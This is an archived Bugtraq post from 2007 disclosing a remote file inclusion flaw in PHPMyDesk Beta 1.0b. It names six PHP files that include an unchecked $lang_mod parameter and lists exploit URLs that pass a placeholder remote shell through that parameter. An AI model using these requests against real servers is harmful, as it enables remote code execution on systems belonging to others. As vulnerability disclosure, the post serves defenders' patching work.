Bugtraq mailing list archives
PHPMyDesk Beta Release 1.0b ==> RFI
From: titanichacker titanichacker <titanichacker () msn com>
Date: Thu, 7 Jun 2007 22:22:01 +0000
script:PHPMyDesk Beta Release 1.0b ==> RFI dir url:http://www.cynux.com/phpmydesk/ author: titanichacker contact:the-modest-pirate () hotmail com H.P : http://hack-teach.com & mohandko.com & tryag.com bug in: ./index.php include($lang_mod); ./login.php include($lang_mod); ./logout.php include($lang_mod); ./subticket.php include($lang_mod); ./viewall.php include($lang_mod); ./viewticket.php include($lang_mod); exploit: httpL//victim/index.php?lang_mod=[shell] httpL//victim/login.php?lang_mod=[shell] httpL//victim/logout.php?lang_mod=[shell] httpL//victim/viewall.php?lang_mod=[shell] httpL//victim/viewticket.php?lang_mod=[shell] thanx cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm _________________________________________________________________ Play free games, earn tickets, get cool prizes! Join Live Search Club. http://club.live.com/home.aspx?icid=CLUB_wlmailtextlink
Current thread:
- PHPMyDesk Beta Release 1.0b ==> RFI titanichacker titanichacker (Jun 08)
- <Possible follow-ups>
- Re: PHPMyDesk Beta Release 1.0b ==> RFI the . tiger100 (Jun 11)
- Re: Re: PHPMyDesk Beta Release 1.0b ==> RFI no-spam (Jun 23)